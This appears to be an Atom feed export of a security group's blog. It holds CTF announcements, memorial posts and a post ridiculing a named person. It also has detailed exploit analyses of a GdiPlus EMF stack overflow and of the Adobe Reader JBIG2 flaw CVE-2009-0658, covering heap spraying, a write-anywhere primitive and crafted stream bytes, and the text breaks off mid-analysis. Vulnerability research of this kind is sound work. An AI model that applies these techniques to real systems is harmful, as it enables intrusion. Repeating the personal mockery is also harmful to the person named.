<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-5022909045993780921</id><updated>2012-01-19T00:47:39.209-08:00</updated><category term='MS09-002'/><category term='CVE-2009-0075'/><title type='text'>[Black Security]</title><subtitle type='html'></subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>16</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-5676533287023744115</id><published>2010-07-12T17:55:00.000-07:00</published><updated>2010-07-12T18:01:57.097-07:00</updated><title type='text'>smpCTF - Scott Wolchok Blunder</title><content type='html'>We had a blast this weekend on &lt;a href="http://www.smpctf.com"&gt;smpCTF 2010 Hacker Olympics&lt;/a&gt;.  &lt;br /&gt;&lt;br /&gt;One of the great highlights of this weekend was &lt;a href="http://encyclopediadramatica.com/Swolchok"&gt;Scott Wolchok (swolchok)'s hilarious blunder&lt;/a&gt;.  Be sure to see him at the next &lt;a href="http://defcon.org"&gt;defcon&lt;/a&gt; security conference.&lt;br /&gt;&lt;br /&gt;Scott did not make the registration deadline and was rather unhappy about not being able to participate. Scott told us of his in-depth knowledge in computer security. Pointed out that he taught intro to computer security at University of Michigan. &lt;br /&gt;&lt;br /&gt;So, if your going to defcon 18 and happen to see Scott remember alabaster7cunt for a good laugh. &lt;br /&gt;&lt;br /&gt;Can't wait for the next one!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-5676533287023744115?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/5676533287023744115/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2010/07/smpctf.html#comment-form' title='23 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/5676533287023744115'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/5676533287023744115'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2010/07/smpctf.html' title='smpCTF - Scott Wolchok Blunder'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>23</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-923655610420169088</id><published>2010-03-16T10:58:00.000-07:00</published><updated>2010-03-16T11:02:43.375-07:00</updated><title type='text'>Spider Monkey Phenomena CTF | smpctf.com</title><content type='html'>The Spider Monkey Phenomena (SMP) Capture The Flag (CTF) is scheduled to take place sometime in the summer of 2010.  We are currently signing up sponsors for this event, this includes prizes as well as cash prizes.  If you're a sponsor and could be interested in this, shoot us an email at &lt;a href="mailto:ctf@smpctf.com"&gt;ctf [at] smpctf.com&lt;/a&gt;     More details can be found at &lt;a href="http://www.smpctf.com"&gt;smpctf.com&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-923655610420169088?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/923655610420169088/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2010/03/spider-monkey-phenomena-ctf-smpctfcom.html#comment-form' title='17 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/923655610420169088'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/923655610420169088'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2010/03/spider-monkey-phenomena-ctf-smpctfcom.html' title='Spider Monkey Phenomena CTF | smpctf.com'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>17</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-3667867375383802680</id><published>2009-11-04T06:19:00.000-08:00</published><updated>2009-11-04T06:21:06.876-08:00</updated><title type='text'>RIP ghalen @ #hack.se</title><content type='html'>Jesus...&lt;br /&gt;&lt;br /&gt;We've also received word that a fellow hacker has also fallen, due to his struggle with swine flu.&lt;br /&gt;&lt;br /&gt;I personally did not know ghalen as well but I would also like to wish his family love and strength during this time.&lt;br /&gt;&lt;br /&gt;Makes me wanna /part too&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-3667867375383802680?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/3667867375383802680/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/11/rip-ghalen-hackse.html#comment-form' title='11 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/3667867375383802680'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/3667867375383802680'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/11/rip-ghalen-hackse.html' title='RIP ghalen @ #hack.se'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>11</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-6314422833931442185</id><published>2009-11-03T22:26:00.000-08:00</published><updated>2009-11-04T07:52:09.106-08:00</updated><title type='text'>Str0ke @ Milworm's Funeral is This Friday</title><content type='html'>Many of us have wondered where str0ke has been and why milw0rm has not been updated in a good while.  I recently was informed that str0ke has been hospitalized due to a strange condition with his heart, which he has had since he was a child.&lt;br /&gt;&lt;br /&gt;Sadly....&lt;br /&gt;&lt;br /&gt;I've just received information that str0ke @ milw0rm has passed away due to cardiac arrest early this morning at 9:23 AM.  We @ blacksecurity are deeply saddened by the loss of a good hearted friend.&lt;br /&gt;&lt;br /&gt;We wish nothing but blessing to his wife and 4 children.&lt;br /&gt;&lt;br /&gt;RIP str0ke 1974-04-29 - 2009-11-03 09:23 &lt;br /&gt;&lt;br /&gt;:o(&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cafepress.com/ripstr0ke"&gt;rip str0ke&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-6314422833931442185?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/6314422833931442185/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/11/str0ke-milworms-funeral-is-this-friday.html#comment-form' title='165 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/6314422833931442185'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/6314422833931442185'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/11/str0ke-milworms-funeral-is-this-friday.html' title='Str0ke @ Milworm&apos;s Funeral is This Friday'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>165</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-7314032186824565036</id><published>2009-03-23T22:46:00.000-07:00</published><updated>2009-03-23T22:50:53.998-07:00</updated><title type='text'>Microsoft GdiPlus EMF GpFont.SetData Integer Overflow</title><content type='html'>Microsoft GdiPlus.dll EMF GpFont::SetData Stack Overflow&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;   Write up by redsand@blacksecurity.org&lt;br /&gt;   Credits to mIKEJONES for providing the .EMF Crash&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;An integer overflow has been found within the Microsoft Windows gdiplus.dll [0x4ED67060]&lt;br /&gt;&lt;br /&gt;This vulnerability currently allows us to write 64 bytes of either NULL's to the stack or UNICODE characters we control, inadvertently overwriting our stacks return addresses as well as the stack canary.  We’ve decided to call this the Microsoft GdiPlus EMF GpFont.SetData integer overflow.&lt;br /&gt;&lt;br /&gt;One known vulnerable version of GdiPlus.dll is: &lt;br /&gt;x86_Microsoft.Widnows.GdiPlus_6595b64144ccf1df_1.0.2600.5581_x-ww_dfbc4fc4&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Below is our confirmed call stack after the stack overflow:&lt;br /&gt;&lt;br /&gt;GdiPlus!GpFont::SetData+0xf6&lt;br /&gt;GdiPlus!MetafilePlayer::AddObject+0x8f&lt;br /&gt;GdiPlus!ObjectEPR::Play+0x1a&lt;br /&gt;GdiPlus!GdipPlayMetafileRecordCallback+0x35&lt;br /&gt;GdiPlus!MetafilePlayer::EnumerateEmfPlusRecords+0x66&lt;br /&gt;GdiPlus!EnumEmfWithDownLevel+0x52&lt;br /&gt;gdi32!bInternalPlayEMF+0x6b0&lt;br /&gt;GdiPlus!MetafilePlayer::EnumerateEmfRecords+0xd7&lt;br /&gt;GdiPlus!GpGraphics::EnumEmfPlusDual+0x27d&lt;br /&gt;GdiPlus!GpMetafile::EnumerateForPlayback+0x686&lt;br /&gt;GdiPlus!GpMetafile::Play+0x26&lt;br /&gt;GdiPlus!GpGraphics::DrawImage+0x263&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We decided to pull this up using a fancy version of OllyDbg and begin digging around.  With that said, this is what we found:&lt;br /&gt;&lt;br /&gt;You will note at address 0x4ECFFA33 MOV ESI,DWORD PTR DS:[EAX+14]&lt;br /&gt;We control the value loaded into ESI.  For this purpose we use a value greater than 0xFE000000.  This integer can be located at the offset 0xC8 (200 bytes) within the given example.&lt;br /&gt;&lt;br /&gt;Next you will see we are able to control the value loaded into ECX.  For the ESI value of 0xFFFFFFFF (largest unsigned integer) we load the value of 0x16 into our register (for example: if value is 0xEEEEEEEE, our value becomes 0xDDDDDDF4 and becomes greater than 0x16 and is marked as an invalid image)&lt;br /&gt;4ECFFA36 LEA ECX, DWORD PTR DS:[ESI+ESI+18]&lt;br /&gt;&lt;br /&gt;This value is increased by 0x18 (24) bytes:&lt;br /&gt;4ECFFA3A ADD EAX, 18&lt;br /&gt;&lt;br /&gt;Then compared with a value offset of EBP, which is located on our stack.  For this purpose the value stored in ECX is 0x16:&lt;br /&gt;4ECFFA3D CMP DWORD PTR SS:[EBP+C],ECX&lt;br /&gt;&lt;br /&gt;This means the jmp is not taken&lt;br /&gt;4ECFFA40 JB gdiplus.4ECFFAC9&lt;br /&gt;&lt;br /&gt;Our controlled value is compared with the hex value 0x20 (32)&lt;br /&gt;4ECFFA46 CMP ESI,20&lt;br /&gt;&lt;br /&gt;And this jump will also never be taken.&lt;br /&gt;4ECFFA49 JBE SHORT gdiplus.4ECFFA4E&lt;br /&gt;&lt;br /&gt;From here, we begin to setup our stack for the __stdcall calling approach to our function gdiplus.4ED67060&lt;br /&gt;&lt;br /&gt;4ECFFA4B PUSH 20&lt;br /&gt;4ECFFA4D POP ESI&lt;br /&gt;4ECFFA4E PUSH ESI&lt;br /&gt;4ECFFA4F PUSH EAX&lt;br /&gt;4ECFFA50 LEA EAX,DWORD PTR SS:[EBP-44]&lt;br /&gt;4ECFFA53 PUSH EAX&lt;br /&gt;&lt;br /&gt;This is the function in which the stack overwrite actually occurs.&lt;br /&gt;4ECFFA54 CALL gdiplus.4ED67060&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Let’s step into our function gdiplus.4ED67060:&lt;br /&gt;&lt;br /&gt;First we have a loop setup to go through our Unicode Font String (ARIAL) and copy it (letter by letter) to another location on the stack controlled by EDI.  This approach would be the natural code execution process however after further review, we're able to determine we can utilize the length of the font name (ARIAL) and extend it to 32 total WORD bytes (since this is Unicode, that's 64 bytes total). This will eat up our allocated memory and will halt the need to zero out the rest of the buffer. &lt;br /&gt;Stack corruption occurs either here or below.&lt;br /&gt;&lt;br /&gt;4ED67069 XOR ESI,ESI&lt;br /&gt;4ED6706B TEST ECX,ECX&lt;br /&gt;4ED6706D JBE SHORT gdiplus.4ED6709C&lt;br /&gt;4ED6706F MOV EDX,DWORD PTR SS:[EBP+C]&lt;br /&gt;4ED67072 PUSH EDI&lt;br /&gt;4ED67073 MOV EDI,DWORD PTR SS:[EBP+8]&lt;br /&gt;4ED67076 MOV AX,WORD PTR DS:[EDX]&lt;br /&gt;4ED67079 TEST AX,AX&lt;br /&gt;4ED6707C JE SHORT gdiplus.4ED6708A&lt;br /&gt;4ED6707E MOV WORD PTR DS:[EDI],AX&lt;br /&gt;4ED67081 INC EDI&lt;br /&gt;4ED67082 INC EDI&lt;br /&gt;4ED67083 INC EDX&lt;br /&gt;4ED67084 INC EDX&lt;br /&gt;4ED67085 INC ESI&lt;br /&gt;4ED67086 CMP ESI,ECX&lt;br /&gt;4ED67088 JB SHORT gdiplus.4ED67076&lt;br /&gt;&lt;br /&gt;Once our string copy has been completed, we check to see if our wide character string length of our font (ARIAL) is less than 0x20 (32) characters&lt;br /&gt;&lt;br /&gt;4ED6708A CMP ESI,ECX&lt;br /&gt;4ED6708C JNB SHORT gdiplus.4ED6709B&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The length of our string (ESI) is subtracted into 0x20 (32) to get the remainder (0x1B if using just the font name ARIAL)  and is left in the register ECX&lt;br /&gt;4ED6708E SUB ECX,ESI&lt;br /&gt;&lt;br /&gt;Here we clear our value for eax to make it zero&lt;br /&gt;4ED67090 XOR EAX,EAX&lt;br /&gt;&lt;br /&gt;Then we shift the value of our remainder 0x1B (27) right one position which leaves us with 0x0D (13)&lt;br /&gt;4ED67092 SHR ECX,1&lt;br /&gt;&lt;br /&gt;This is where our overflow occurs; EDI points to our stack just past the location where we copied our font string on the stack earlier.&lt;br /&gt;&lt;br /&gt;4ED67094 REP STOS DWORD PTR ES:[EDI]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;This is what our stack looks like at that location when we begin overwriting it with zeros.&lt;br /&gt;0007E344  |7C900000  ..�|  ntdll.7C900000&lt;br /&gt;0007E348  |7C9101C0  À‘|  ntdll.7C9101C0&lt;br /&gt;0007E34C  |FFFFFFFF  ÿÿÿÿ&lt;br /&gt;0007E350  |7C9101BB  »‘|  RETURN to ntdll.7C9101BB from ntdll.7C90E8E6&lt;br /&gt;0007E354  |4EC5221F  "ÅN  RETURN to gdiplus.4EC5221F from ntdll.RtlAllocateHeap&lt;br /&gt;&lt;br /&gt;The rest below does not concern us as there is little we can leverage from this.&lt;br /&gt;&lt;br /&gt;4ED67096 ADC ECX,ECX&lt;br /&gt;4ED67098 REP STOS WORD PTR ES:[EDI]&lt;br /&gt;4ED6709B POP EDI&lt;br /&gt;4ED6709C POP ESI&lt;br /&gt;4ED6709D POP EBP&lt;br /&gt;4ED6709E RETN 0C&lt;br /&gt;&lt;br /&gt;Our call stack doesn't begin to be corrupted until several functions later when our nulls come up to be pop'd into EIP from a RETN from ESP.&lt;br /&gt;&lt;br /&gt;When we return execution back to 0x4ECFFA86, our valid returns on the stack have been used, leaving us with a corrupted stack scenario.&lt;br /&gt;&lt;br /&gt;Below is a snapshot of our stack before the overflow occurs:&lt;br /&gt;&lt;br /&gt;0007E2B0  |003B0041  A.;.&lt;br /&gt;0007E2B4  |0007E0AC  ¬à .&lt;br /&gt;0007E2B8  |00000000  ....&lt;br /&gt;0007E2BC  |0007ED40  @í .&lt;br /&gt;0007E2C0  |7C90E900  .é�|  ntdll.7C90E900&lt;br /&gt;0007E2C4  |7C9101C0  À‘|  ntdll.7C9101C0&lt;br /&gt;0007E2C8  |FFFFFFFF  ÿÿÿÿ&lt;br /&gt;0007E2CC  |7C9101BB  »‘|  RETURN to ntdll.7C9101BB from ntdll.7C90E8E6&lt;br /&gt;0007E2D0  |4EC5221F  "ÅN  RETURN to gdiplus.4EC5221F from ntdll.RtlAllocateHeap&lt;br /&gt;0007E2D4  |003B0000  ..;.&lt;br /&gt;0007E2D8  |40000060  `..@&lt;br /&gt;0007E2DC  |0000001C  ...&lt;br /&gt;0007E2E0  |0007E2F0  ðâ .&lt;br /&gt;0007E2E4  |4EC9DD15  ÝÉN  RETURN to gdiplus.4EC9DD15 from gdiplus.4EC52209&lt;br /&gt;0007E2E8  |0000001C  ...&lt;br /&gt;0007E2EC  |00000006  ...&lt;br /&gt;0007E2F0  |00009C45  Eœ..&lt;br /&gt;0007E2F4  ]0007E318  ã .&lt;br /&gt;0007E2F8  |4EC9E783  ƒçÉN  RETURN to gdiplus.4EC9E783&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;(Again, but more details):&lt;br /&gt;&lt;br /&gt;0007E294   B90105D5  Õ¹&lt;br /&gt;0007E298   00000000  ....&lt;br /&gt;0007E29C   00000000  ....&lt;br /&gt;0007E2A0   00000000  ....&lt;br /&gt;0007E2A4   003B4108  A;.&lt;br /&gt;0007E2A8   018E0F08  Ž&lt;br /&gt;0007E2AC   003B5108  Q;.&lt;br /&gt;0007E2B0   003B0000  ..;.&lt;br /&gt;0007E2B4   0007E0AC  ¬à .&lt;br /&gt;0007E2B8   00000000  ....&lt;br /&gt;0007E2BC   0007ED40  @í .&lt;br /&gt;0007E2C0   7C90E900  .é�|  ntdll.7C90E900&lt;br /&gt;0007E2C4   7C9101C0  À‘|  ntdll.7C9101C0&lt;br /&gt;0007E2C8   FFFFFFFF  ÿÿÿÿ&lt;br /&gt;0007E2CC   7C9101BB  »‘|  RETURN to ntdll.7C9101BB from ntdll.7C90E8E6&lt;br /&gt;0007E2D0   4EC5221F  "ÅN  RETURN to gdiplus.4EC5221F from ntdll.RtlAllocateHeap&lt;br /&gt;0007E2D4   003B0000  ..;.&lt;br /&gt;0007E2D8   40000060  `..@&lt;br /&gt;0007E2DC   0000001C  ...&lt;br /&gt;0007E2E0   0007E2F0  ðâ .&lt;br /&gt;0007E2E4   4EC9DD15  ÝÉN  RETURN to gdiplus.4EC9DD15 from gdiplus.4EC52209&lt;br /&gt;0007E2E8   0000001C  ...&lt;br /&gt;0007E2EC   00000006  ...&lt;br /&gt;0007E2F0   000091F7  ÷‘..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Below is a snapshot of our stack after the overflow occurs:&lt;br /&gt;&lt;br /&gt;ESP+4    &gt; 003B4108  A;.&lt;br /&gt;ESP+8    &gt; 018E0F08  Ž&lt;br /&gt;ESP+C    &gt; 003B5108  Q;.&lt;br /&gt;ESP+10   &gt; 001D0B0B  .&lt;br /&gt;ESP+14   &gt; 001D0B0B  .&lt;br /&gt;ESP+18   &gt; 001D0B0B  .&lt;br /&gt;ESP+1C   &gt; 001D0B0B  .&lt;br /&gt;ESP+20   &gt; 001D0B0B  .&lt;br /&gt;ESP+24   &gt; 001D0B0B  .&lt;br /&gt;ESP+28   &gt; 001D0B0B  .&lt;br /&gt;ESP+2C   &gt; 001D0B0B  .&lt;br /&gt;ESP+30   &gt; 001D0B0B  .&lt;br /&gt;ESP+34   &gt; 001D0B0B  .&lt;br /&gt;ESP+38   &gt; 001D0B0B  .&lt;br /&gt;ESP+3C   &gt; 001D0B0B  .&lt;br /&gt;ESP+40   &gt; 001D0B0B  .&lt;br /&gt;ESP+44   &gt; 001D0B0B  .&lt;br /&gt;ESP+48   &gt; 001D0B0B  .&lt;br /&gt;ESP+4C   &gt; 001D0B0B  .&lt;br /&gt;ESP+50   &gt; 00000000  ....&lt;br /&gt;ESP+54   &gt;/0007E318  ã .&lt;br /&gt;ESP+58   &gt;|4EC9E783  ƒçÉN  RETURN to gdiplus.4EC9E783&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After our function has completed, an internal gdiplus function looks for stack corruption. At 0x4ECFDA78, GdiPlus sets our unhandled exception filter to zero (clears it) and then calls our unhandled exception filter, then immediately terminates the process.  This is the standard process for handling detected stack overflows.&lt;br /&gt;&lt;br /&gt;CALL gdiplus.4ECFD994 Cookie Security Check&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Thanks,&lt;br /&gt;&lt;br /&gt;- redsand&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Example .EMF File can be found &lt;a href="http://www.blacksecurity.org/voltage-exploit.emf"&gt;here&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5022909045993780921-7314032186824565036?l=bl4cksecurity.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://bl4cksecurity.blogspot.com/feeds/7314032186824565036/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/03/microsoft-gdiplus-emf-gpfontsetdata.html#comment-form' title='12 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/7314032186824565036'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5022909045993780921/posts/default/7314032186824565036'/><link rel='alternate' type='text/html' href='http://bl4cksecurity.blogspot.com/2009/03/microsoft-gdiplus-emf-gpfontsetdata.html' title='Microsoft GdiPlus EMF GpFont.SetData Integer Overflow'/><author><name>[bl4ck]</name><uri>http://www.blogger.com/profile/14880693255091190716</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>12</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5022909045993780921.post-8217427833862504945</id><published>2009-03-23T12:41:00.000-07:00</published><updated>2009-03-23T20:27:48.128-07:00</updated><title type='text'>Adobe Acrobat/Reader Universal Exploit : APSB09-01 (aka CVE-2009-0658)</title><content type='html'>Hey gang, &lt;br /&gt;  Been a few days since our last post, but not to worry! Still lots of fun stuff happening in the blacksec community. Our latest post is a brief analysis of the jbig2 vulnerability recently patched by Adobe in APSB09-01 (aka CVE-2009-0658). What I thought was particularly interesting (although not a surprising given vendors actual understanding of the vulnerabilities that typically affect their software) was its classification: "Buffer overflow issue in versions 9.0 and earlier of Adobe Reader and Acrobat". The actual bug stems from a pointer-indexing issue when utilizing a specifically crafted JBIG2 structure. &lt;br /&gt;&lt;br /&gt;Bugs like this are fun, because they can often lead to multiple different avenues that inturn can be leveraged for execution. We were able to gain control of execution through the use of some careful heap spraying that would both create 1/2 a sprayed area of pointers that are later loaded and used in a controlled write operation followed by another 1/2 of your typical nopsled/shellcode heapspraying. Combine this spraying with the time used to allocate the memory being used and &lt;br /&gt;&lt;br /&gt;you could easily overwrite low-addressed (static) module entry points. Theres a little more too this, so lets dig in...&lt;br /&gt;&lt;br /&gt;Lets begin with the orignal crash mentioned in the snort VRT blog posting (http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html). From the posting:&lt;br /&gt;&lt;br /&gt;"the 5th byte into the stream (which is the segment header flag byte) were to have the 6th bit set indicating a large page association size:&lt;br /&gt;&lt;br /&gt;00 00 00 01 40 00 00 33 33 33"&lt;br /&gt;&lt;br /&gt;Here, we can see the beginning of our long road to exploitation. After modifying the segment header flag of our JBIG2 stream, we are able to embed a controllable (big endian!) pointer beginning at the 2nd byte following the the segment header flag. Using the values described in the original advisory, we can trigger a crash at the first (0387298A - Add operation) location as seen below.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;03872979  |. 8B41 1C        MOV EAX,DWORD PTR DS:[ECX+1C]&lt;/b&gt;          &lt;br /&gt;; our (big endian) pointer gets loaded into EAX&lt;br /&gt;&lt;b&gt;0387297C  |. 85C0           TEST EAX,EAX&lt;/b&gt;&lt;br /&gt;&lt;b&gt;0387297E  |. 0F84 AC020000  JE Acroba_1.03872C30&lt;/b&gt;&lt;br /&gt;&lt;b&gt;03872984  |. 8B4E 10        MOV ECX,DWORD PTR DS:[ESI+10]&lt;/b&gt;    &lt;br /&gt;; The base-index register gets loaded into ECX&lt;br /&gt;&lt;b&gt;03872987  |. 8D0480         LEA EAX,DWORD PTR DS:[EAX+EAX*4]&lt;/b&gt;       &lt;br /&gt;; EAX gets multiplied by 5&lt;br /&gt;&lt;b&gt;0387298A  |. 834481 EC 01   ADD DWORD PTR DS:[ECX+EAX*4-14],1&lt;/b&gt;&lt;br /&gt;; ECX+ EAX*4 - the value at this location gets incremented. &lt;crash 1&gt;&lt;br /&gt;&lt;br /&gt;Here ECX varies in its exact location but, generally lands in the ~02xxxxxx range. If we craft some generic heap spraying code, we can allocate blocks of memory within a specified distance of this pointer. So, after adding the heap spraying code we can see a nice area of memory that gets allocated 0x082xxxxx-0x0fexxxxx bytes (or 0x6200000 to 0xDE00000 bytes away). This area is located after Cooltype and before acaptuse in memory. If we look back at the assembly from the first crash area we can see our pointer gets multiplied by 5 first and then multiplied by 4 again in the following operation (you'll see below this same logic is repeated in the second crash). Applying this logic, if we use a value such as 0x00666666, it will first be multiplied by 5 to give us 0x01FFFFFE and then multiplied by 4 again to finally equal 0x07FFFFF8. This drops us right in the middle of our first large heap sprayed area and allows us to continue on to the second crash location.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;03872BC7  |&gt; 8B0CBB         /MOV ECX,DWORD PTR DS:[EBX+EDI*4]&lt;/b&gt;&lt;br /&gt;&lt;b&gt;03872BCA  |. 8B41 1C        |MOV EAX,DWORD PTR DS:[ECX+1C]&lt;/b&gt;    &lt;br /&gt;; our (big endian) pointer gets loaded into EAX&lt;br /&gt;&lt;b&gt;03872BCD  |. 8B56 10        |MOV EDX,DWORD PTR DS:[ESI+10]&lt;/b&gt;         &lt;br /&gt;; EDX points to the same base we used before in ECX&lt;br /&gt;&lt;b&gt;03872BD0  |. 8D0480         |LEA EAX,DWORD PTR DS:[EAX+EAX*4]&lt;/b&gt;      &lt;br /&gt;; EAX gets multiplied by 5&lt;br /&gt;&lt;b&gt;03872BD3  |. 8D4482 EC      |LEA EAX,DWORD PTR DS:[EDX+EAX*4-14]&lt;/b&gt;   &lt;br /&gt;; the address of where we performed our last ADD at the first crash location gets &lt;br /&gt;; loaded into EAX&lt;br /&gt;&lt;b&gt;03872BD7  |. 8B50 04        |MOV EDX,DWORD PTR DS:[EAX+4]&lt;/b&gt;          &lt;br /&gt;; HEAPSPRAY_AREA+0x4 gets loaded into EDX&lt;br /&gt;&lt;b&gt;03872BDA  |. 85D2           |TEST EDX,EDX&lt;/b&gt;                          &lt;br /&gt;; make sure this isn't 0!&lt;br /&gt;&lt;b&gt;03872BDC  |. 74 0A          |JE SHORT Acroba_1.03872BE8&lt;/b&gt;&lt;br /&gt;&lt;b&gt;03872BDE  |. 8B68 10        |MOV EBP,DWORD PTR DS:[EAX+10]&lt;/b&gt;         &lt;br /&gt;; HEAPSPRAY_AREA+0x10 gets loaded into EBX&lt;br /&gt;&lt;b&gt;03872BE1  |. 890CAA         |MOV DWORD PTR DS:[EDX+EBP*4],ECX&lt;/b&gt;      &lt;br /&gt;; a pointer to our struct gets written to anywhere we want&lt;br /&gt;&lt;br /&gt;Here, we crash at the second location with the values EDX and EBX equaling 0x90909090. Basically, we can overwrite any portion of (writable) memory with a pointer to our struct. We accomplish this by making the first 100-300 of our heap spray operations (of typically 1000) with [x][y][x][y][x][y][x][y] style alternating pointers where x is the value we want to overwrite and y is 0 (used in EBX*4). Other values can be used here but you get the general idea.&lt;br /&gt;&lt;br /&gt;Lets focus now on whats at the pointer were able to write to anywhere in memory.&lt;br /&gt;&lt;br /&gt;This is our stream from our file:&lt;br /&gt;&lt;br /&gt;stream.....@.........,...H...........&lt;br /&gt;73 74 72 65 61 6D 0A &lt;b&gt;[00000001]&lt;/b&gt; 40 00 00666666 &lt;b&gt;[13000007]&lt;/b&gt; 2C 00 00 09&lt;br /&gt;&lt;br /&gt;Certain bytes have been separated and put into brackets to help visualize their exact locations when loaded into memory. &lt;br /&gt;&lt;br /&gt;When the second crash occurs ECX points to the following memory data:&lt;br /&gt;&lt;br /&gt;010B60F0 &lt;b&gt;[01 00 00 